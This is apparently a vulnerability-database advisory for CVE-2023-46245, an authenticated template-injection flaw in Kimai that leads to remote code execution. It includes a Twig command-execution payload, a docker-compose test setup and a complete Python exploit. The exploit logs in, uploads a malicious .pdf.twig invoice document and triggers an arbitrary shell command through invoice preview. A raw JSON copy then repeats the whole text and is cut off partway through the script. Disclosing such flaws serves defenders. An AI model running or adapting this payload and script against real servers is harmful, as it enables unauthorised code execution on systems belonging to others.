GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-FJHG-96CP-6FCW

Vulnerability from github – Published: 2023-10-30 15:40 – Updated: 2023-10-30 15:40
VLAI
Summary
Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File
Details

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

public function render(array $timesheets, TimesheetQuery $query): Response
{
    ...
    $content = $this->twig->render($this->getTemplate(), array_merge([
        'entries' => $timesheets,
        'query' => $query,
        ...
    ], $this->getOptions($query)));
    ...
    $content = $this->converter->convertToPdf($content, $pdfOptions);
    ...
    return $this->createPdfResponse($content, $context);
}

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

version: '3.5'
services:

  sqldb:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_HOST='%'
      - MYSQL_DATABASE=kimai
      - MYSQL_USER=kimaiuser
      - MYSQL_PASSWORD=kimaipassword
      - MYSQL_ROOT_PASSWORD=changemeplease

    ports:
      - 3336:3306
    volumes:
      - mysql:/var/lib/mysql
    command: --default-storage-engine innodb
    restart: unless-stopped
    healthcheck:
      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  nginx:
    image: tobybatch/nginx-fpm-reverse-proxy
    ports:
      - 8001:80
    volumes:
      - public:/opt/kimai/public:ro
    restart: unless-stopped
    depends_on:
      - kimai
    healthcheck:
      test:  wget --spider http://nginx/health || exit 1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  kimai: # This is the latest FPM image of kimai
    image: kimai/kimai2:fpm-prod
    environment:
      - ADMINMAIL=admin@kimai.local
      - ADMINPASS=changemeplease
      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
      - memory_limit=1024
    volumes:
      - public:/opt/kimai/public
      # - var:/opt/kimai/var
      # - ./ldap.conf:/etc/openldap/ldap.conf:z
      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
    restart: unless-stopped

  phpmyadmin:
    image: phpmyadmin
    restart: always
    ports:
      - 8081:80
    environment:
      - PMA_ARBITRARY=1



  postfix:
    image: catatnight/postfix:latest
    environment:
      maildomain: neontribe.co.uk
      smtp_user: kimai:kimai
    restart: unless-stopped

volumes:
    var:
    public:
    mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing: # Proof of Concept

import requests
import re
import string
import random
import sys

session = requests.session()
BASE_URL = sys.argv[1]


def generate(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def get_csrf(path, session):
    try:
        project_id = ""
        csrf_token = ""
        preview_id = ""
        template_ids = []
        activity_customer_list = []

        csrf_login_response = session.get(f"{BASE_URL}{path}").text

        # Extract CSRF Token
        pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
        match = pattern.search(csrf_login_response)
        if match:
            csrf_token = match.group(1)

        if "performSearch" in path:
            preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
            preview_match = preview_pattern.search(csrf_login_response)
            if preview_match:
                preview_id = preview_match.group(1)


        template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
        template_matches = template_pattern.findall(csrf_login_response)
        if template_matches:
            template_ids = [int(id) for id in template_matches]

        if "timesheet" in path:
            option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
            option_matches = option_pattern.findall(csrf_login_response)
            if option_matches:
                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]

        if "project" in path or "activity" in path:
            project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
            if project_id_match:
                project_id = project_id_match.group(1)

        return csrf_token, project_id, preview_id, template_ids, activity_customer_list

    except Exception as e:
        print(f"Error occurred: {e}")
        return None, None, None, None, None


def login(username,password,csrf,session):
    try:
        params = {"_username": username, "_password": password, "_csrf_token": csrf}
        login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
        if "I forgot my password" not in login_response.text:
            print(f"[+] Logged in: {username}")
            return session
        else:
            print("Wrong username,password", username)
            exit(1)
    except Exception as e:
        print(str(e))
        pass

def create_customer(token,name,session):
    try:

        data = {
            'customer_edit_form[name]': (None, name),
            'customer_edit_form[color]': (None, ''),
            'customer_edit_form[comment]': (None, 'xx'),
            'customer_edit_form[address]': (None, 'xx'),
            'customer_edit_form[company]': (None, ''),
            'customer_edit_form[number]': (None, '0002'),
            'customer_edit_form[vatId]': (None, ''),
            'customer_edit_form[country]': (None, 'DE'),
            'customer_edit_form[currency]': (None, 'EUR'),
            'customer_edit_form[timezone]': (None, 'UTC'),
            'customer_edit_form[contact]': (None, ''),
            'customer_edit_form[email]': (None, ''),
            'customer_edit_form[homepage]': (None, ''),
            'customer_edit_form[mobile]': (None, ''),
            'customer_edit_form[phone]': (None, ''),
            'customer_edit_form[fax]': (None, ''),
            'customer_edit_form[budget]': (None, '0.00'),
            'customer_edit_form[timeBudget]': (None, '0:00'),
            'customer_edit_form[budgetType]': (None, ''),
            'customer_edit_form[visible]': (None, '1'),
            'customer_edit_form[billable]': (None, '1'),
            'customer_edit_form[invoiceTemplate]': (None, ''),
            'customer_edit_form[invoiceText]': (None, ''),
            'customer_edit_form[_token]': (None, token),
        }


        response = session.post(f"{BASE_URL}/admin/customer/create", files=data)

    except Exception as e:
        print(str(e))


def create_project(token, name,project_id ,session):
    try:
        form_data = {
            'project_edit_form[name]': (None, name),
            'project_edit_form[color]': (None, ''),
            'project_edit_form[comment]': (None, ''),
            'project_edit_form[customer]': (None, project_id), 
            'project_edit_form[orderNumber]': (None, ''),
            'project_edit_form[orderDate]': (None, ''),
            'project_edit_form[start]': (None, ''),
            'project_edit_form[end]': (None, ''),
            'project_edit_form[budget]': (None, '0.00'),
            'project_edit_form[timeBudget]': (None, '0:00'),
            'project_edit_form[budgetType]': (None, ''),
            'project_edit_form[visible]': (None, '1'),
            'project_edit_form[billable]': (None, '1'),
            'project_edit_form[globalActivities]': (None, '1'),
            'project_edit_form[invoiceText]': (None, ''),
            'project_edit_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)

    except Exception as e:
        print(str(e))


def create_activity(token, name,project_id ,session):
    try:
        form_data = {
            'activity_edit_form[name]': (None, name),
            'activity_edit_form[color]': (None, ''),
            'activity_edit_form[comment]': (None, ''),
            'activity_edit_form[project]': (None, ''),
            'activity_edit_form[budget]': (None, '0.00'),
            'activity_edit_form[timeBudget]': (None, '0:00'),
            'activity_edit_form[budgetType]': (None, ''),
            'activity_edit_form[visible]': (None, '1'),
            'activity_edit_form[billable]': (None, '1'),
            'activity_edit_form[invoiceText]': (None, ''),
            'activity_edit_form[_token]': (None, token),
        }

        response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)

        if response.status_code == 201:
            print(f"[+] Activity created: {name}")

    except Exception as e:
        print(f"An error occurred: {str(e)}")

def upload_malicious_document(token,session):
    try:
        form_data = {
            'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
            'invoice_document_upload_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)

        if ".pdf.twig" in response.text:
            print("[+] Twig uploaded successfully!")
        else:
            print("[-] Error while uploading, exiting..")
            exit(1)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
import re

def create_malicious_template(token, name, session):
    try:
        data = {
            'invoice_template_form[name]': name,
            'invoice_template_form[title]': name,
            'invoice_template_form[company]': name,
            'invoice_template_form[vatId]': '',
            'invoice_template_form[address]': '',
            'invoice_template_form[contact]': '',
            'invoice_template_form[paymentTerms]': '',
            'invoice_template_form[paymentDetails]': '',
            'invoice_template_form[dueDays]': '30',
            'invoice_template_form[vat]': '0.000',
            'invoice_template_form[language]': 'en',
            'invoice_template_form[numberGenerator]': 'default',
            'invoice_template_form[renderer]': 'din',
            'invoice_template_form[calculator]': 'default',
            'invoice_template_form[_token]': token
        }

        response = session.post(f"{BASE_URL}/invoice/template/create", data=data)

        # Define the regex pattern to capture the template ID and match the name
        pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)

        # Search the response text with the regex pattern
        match = pattern.search(response.text)

        if match:
            template_id = match.group(1)  # Extract the captured group
            print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
            return template_id  # Return the captured template ID
        else:
            print("[-] Failed to capture the template ID")
            create_malicious_template(token,name,session)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
        exit(1)




def create_timesheet(token, activity, project, session):
    form_data = {
            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
            'timesheet_edit_form[duration]': (None, '0:15'),
            'timesheet_edit_form[end_time]': (None, '12:15 AM'),
            'timesheet_edit_form[customer]': (None, ''),
            'timesheet_edit_form[project]': (None, project),
            'timesheet_edit_form[activity]': (None, activity),
            'timesheet_edit_form[description]': (None, ''),
            'timesheet_edit_form[fixedRate]': (None, ''),
            'timesheet_edit_form[hourlyRate]': (None, ''),
            'timesheet_edit_form[billableMode]': (None, 'auto'),
            'timesheet_edit_form[_token]': (None, token)
        }
    response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
    if response.status_code == 302:  # Changed to 200 as 301 is for redirection
        print(f"[+] Created a new timesheet")


##############################





# login
csrf, _, _, _, _ = get_csrf("/login", session) 
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer

get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)  
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name

get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)  
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)

# create new activity 
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)

# EXPLOIT
######################

# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)

# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)

# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4]  # get the activity_customer_list from get_csrf function

print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
    csrf = get_csrf("/timesheet/create", session)[0]  # Update CSRF token for each iteration
    print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
    create_timesheet(csrf, activity_id, customer_id, session)
    postData = {
        "searchTerm": "",
        "daterange": "",
        "state": "1",
        "billable": "0",
        "exported": "1",
        "orderBy": "begin",
        "order": "DESC",
        "exporter": "pdf"
    }
    # export timesheets so they appear in exported invoices
    export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
    if "PDF-1.4" in export:
        csrf, _, _, _, _ = get_csrf("/invoice/", session)
        # get preview token to construct the preview URL to trigger SSTI
        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
        for template_id in template_ids:
            rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
            # trigger the payload by visiting the renderer URL 
            rce = session.get(rendererURL)

            if "PDF-1.4" in rce.text:
                print(rendererURL)
                print("[+] successfully executed payload")
                # save the pdf locally since rendered URL will expire as soon as we end the session
                pdf = f"{generate()}.pdf"
                with open(pdf,'wb') as pdfFile:
                    pdfFile.write(rce.content)
                    pdfFile.flush()
                    pdfFile.close()
                    print(f"[+] Saved results with name: {pdf}")
                exit(1)

print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such:

$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

kimaiRCE

Impact

Remote Code Execution

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-30T15:40:04Z",
    "nvd_published_at": "2023-10-31T16:15:09Z",
    "severity": "HIGH"
  },
  "details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software\u0027s PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n        \u0027entries\u0027 =\u003e $timesheets,\n        \u0027query\u0027 =\u003e $query,\n        ...\n    ], $this-\u003egetOptions($query)));\n    ...\n    $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n    ...\n    return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: \u00273.5\u0027\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST=\u0027%\u0027\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:/var/lib/mysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch/nginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:/opt/kimai/public:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http://nginx/health || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai/kimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:/opt/kimai/public\n      # - var:/opt/kimai/var\n      # - ./ldap.conf:/etc/openldap/ldap.conf:z\n      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight/postfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{[\u0027id\u003e/tmp/pwned\u0027]|map(\u0027system\u0027)|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI\u0027ve also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return \u0027\u0027.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r\u0027\u003cinput[^\u003e]*?name=[\"\\\u0027].*?token[^\"\\\u0027]*[\"\\\u0027][^\u003e]*?value=[\"\\\u0027](.*?)[\"\\\u0027][^\u003e]*?\u003e\u0027, re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r\u0027\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e\u0027, re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e\u0027, re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e\u0027, re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r\u0027\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e\u0027, csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            \u0027customer_edit_form[name]\u0027: (None, name),\n            \u0027customer_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[comment]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[address]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[company]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[number]\u0027: (None, \u00270002\u0027),\n            \u0027customer_edit_form[vatId]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[country]\u0027: (None, \u0027DE\u0027),\n            \u0027customer_edit_form[currency]\u0027: (None, \u0027EUR\u0027),\n            \u0027customer_edit_form[timezone]\u0027: (None, \u0027UTC\u0027),\n            \u0027customer_edit_form[contact]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[email]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[homepage]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[mobile]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[phone]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[fax]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027customer_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027customer_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[invoiceTemplate]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[_token]\u0027: (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027project_edit_form[name]\u0027: (None, name),\n            \u0027project_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[customer]\u0027: (None, project_id), \n            \u0027project_edit_form[orderNumber]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[orderDate]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[start]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[end]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027project_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027project_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[globalActivities]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027activity_edit_form[name]\u0027: (None, name),\n            \u0027activity_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[project]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027activity_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027activity_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[_token]\u0027: (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            \u0027invoice_document_upload_form[document]\u0027: (\u0027din.pdf.twig\u0027, f\"\u003chtml\u003e\u003cbody\u003e{{{{[\u0027{sys.argv[4]}\u0027]|map(\u0027system\u0027)|join}}}}\u003c/body\u003e\u003c/html\u003e\", \u0027text/x-twig\u0027),\n            \u0027invoice_document_upload_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            \u0027invoice_template_form[name]\u0027: name,\n            \u0027invoice_template_form[title]\u0027: name,\n            \u0027invoice_template_form[company]\u0027: name,\n            \u0027invoice_template_form[vatId]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[address]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[contact]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentTerms]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentDetails]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[dueDays]\u0027: \u002730\u0027,\n            \u0027invoice_template_form[vat]\u0027: \u00270.000\u0027,\n            \u0027invoice_template_form[language]\u0027: \u0027en\u0027,\n            \u0027invoice_template_form[numberGenerator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[renderer]\u0027: \u0027din\u0027,\n            \u0027invoice_template_form[calculator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[_token]\u0027: token\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr\u0027\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e\u0027, re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            \u0027timesheet_edit_form[begin_date]\u0027: (None, \u002701/01/1980\u0027),\n            \u0027timesheet_edit_form[begin_time]\u0027: (None, \u002712:00 AM\u0027),\n            \u0027timesheet_edit_form[duration]\u0027: (None, \u00270:15\u0027),\n            \u0027timesheet_edit_form[end_time]\u0027: (None, \u002712:15 AM\u0027),\n            \u0027timesheet_edit_form[customer]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[project]\u0027: (None, project),\n            \u0027timesheet_edit_form[activity]\u0027: (None, activity),\n            \u0027timesheet_edit_form[description]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[fixedRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[hourlyRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[billableMode]\u0027: (None, \u0027auto\u0027),\n            \u0027timesheet_edit_form[_token]\u0027: (None, token)\n        }\n    response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"/timesheet/create\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = 